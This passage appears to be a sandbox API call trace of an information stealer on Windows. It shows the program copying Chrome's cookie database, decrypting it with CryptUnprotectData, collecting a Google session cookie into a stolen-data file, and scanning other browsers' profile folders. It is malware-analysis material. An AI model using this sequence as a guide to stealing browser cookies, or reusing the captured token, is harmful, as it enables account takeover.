HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18df04*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", len=0x53 | out: pbstr=0x18e080*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 1 [0074.862] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0074.862] SysReAllocStringLen (in: pbstr=0x18e07c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18df0c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18df0c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18df08*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18df08*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18df04*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18df04*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] SysReAllocStringLen (in: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", len=0x3f | out: pbstr=0x18e07c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp") returned 1 [0074.862] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp"), bFailIfExists=1) returned 1 [0074.867] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", cchWideChar=63, lpMultiByteStr=0x18cf08, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", lpUsedDefaultChar=0x0) returned 63 [0074.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4535b8c, cbMultiByte=63, lpWideCharStr=0x18cee8, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp\x18쾀\x18") returned 63 [0074.868] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0074.868] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", nBufferLength=0x43, lpBuffer=0x4703ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp", lpFilePart=0x0) returned 0x3f [0074.868] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dd20 | out: lpFileInformation=0x18dd20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb74cc990, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb74cc990, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1 [0074.868] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0074.869] ReadFile (in: hFile=0x440, lpBuffer=0x18de50, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18de14, lpOverlapped=0x18ddd8 | out: lpBuffer=0x18de50*, lpNumberOfBytesRead=0x18de14*=0x64, lpOverlapped=0x18ddd8) returned 1 [0074.869] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0074.870] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1d8 | out: lpOverlapped=0x18d1d8) returned 1 [0074.871] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1cc | out: lpOverlapped=0x18d1cc) returned 1 [0074.871] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d1dc | out: lpOverlapped=0x18d1dc) returned 1 [0074.871] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0074.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d1d8 | out: lpFileInformation=0x18d1d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.871] GetLastError () returned 0x2 [0074.871] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d1f0 | out: lpFileInformation=0x18d1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.871] GetLastError () returned 0x2 [0074.871] ReadFile (in: hFile=0x440, lpBuffer=0x47307e0, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x18d1f8, lpOverlapped=0x18d1bc | out: lpBuffer=0x47307e0*, lpNumberOfBytesRead=0x18d1f8*=0x400, lpOverlapped=0x18d1bc) returned 1 [0074.872] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ced8 | out: lpOverlapped=0x18ced8) returned 1 [0074.872] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dbb0 | out: lpOverlapped=0x18dbb0) returned 1 [0074.872] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dba4 | out: lpOverlapped=0x18dba4) returned 1 [0074.873] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dbb4 | out: lpOverlapped=0x18dbb4) returned 1 [0074.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0074.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dbb0 | out: lpFileInformation=0x18dbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.873] GetLastError () returned 0x2 [0074.873] ReadFile (in: hFile=0x440, lpBuffer=0x18dc34, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18dc1c, lpOverlapped=0x18dbe0 | out: lpBuffer=0x18dc34*, lpNumberOfBytesRead=0x18dc1c*=0x10, lpOverlapped=0x18dbe0) returned 1 [0074.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0074.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dbc8 | out: lpFileInformation=0x18dbc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.873] GetLastError () returned 0x2 [0074.873] ReadFile (in: hFile=0x440, lpBuffer=0x4730340, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x18dbe8, lpOverlapped=0x18dbac | out: lpBuffer=0x4730340*, lpNumberOfBytesRead=0x18dbe8*=0x400, lpOverlapped=0x18dbac) returned 1 [0074.873] CryptUnprotectData (in: pDataIn=0x18df04, ppszDataDescr=0x0, pOptionalEntropy=0x0, pvReserved=0x0, pPromptStruct=0x0, dwFlags=0x1, pDataOut=0x18df0c | out: ppszDataDescr=0x0, pDataOut=0x18df0c) returned 1 [0074.914] LocalFree (hMem=0x6826a8) returned 0x0 [0074.914] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18db98 | out: lpOverlapped=0x18db98) returned 1 [0074.914] SysReAllocStringLen (in: pbstr=0x18e124*=0x0, psz="accounts.google.com\x09FALSE\x09/\x09TRUE\x091559699608\x09GAPS\x091:ti0nRi7tftVDbDxsySeO1PWDfkMfAQ:458ESlL7xDuQSGP-\r\n", len=0x64 | out: pbstr=0x18e124*="accounts.google.com\x09FALSE\x09/\x09TRUE\x091559699608\x09GAPS\x091:ti0nRi7tftVDbDxsySeO1PWDfkMfAQ:458ESlL7xDuQSGP-\r\n") returned 1 [0074.915] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1332873218179136143664.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1332873218179136143664.tmp")) returned 1 [0074.916] CharToOemBuffA (in: lpszSrc="Browsers\\Cookies\\GoogleChrome_Default.txt", lpszDst=0x4535b8c, cchDstLength=0x29 | out: lpszDst="Browsers\\Cookies\\GoogleChrome_Default.txt") returned 1 [0074.916] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x4535bfc, Length=0x64) returned 0x912dd03 [0074.916] VirtualFree (lpAddress=0x4534000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0074.916] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0074.916] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0074.916] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0074.917] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0074.918] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0074.918] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0074.918] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0074.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.918] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.918] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.918] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0074.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.918] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.918] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.918] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0074.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.918] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.919] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.919] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x6d3604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS 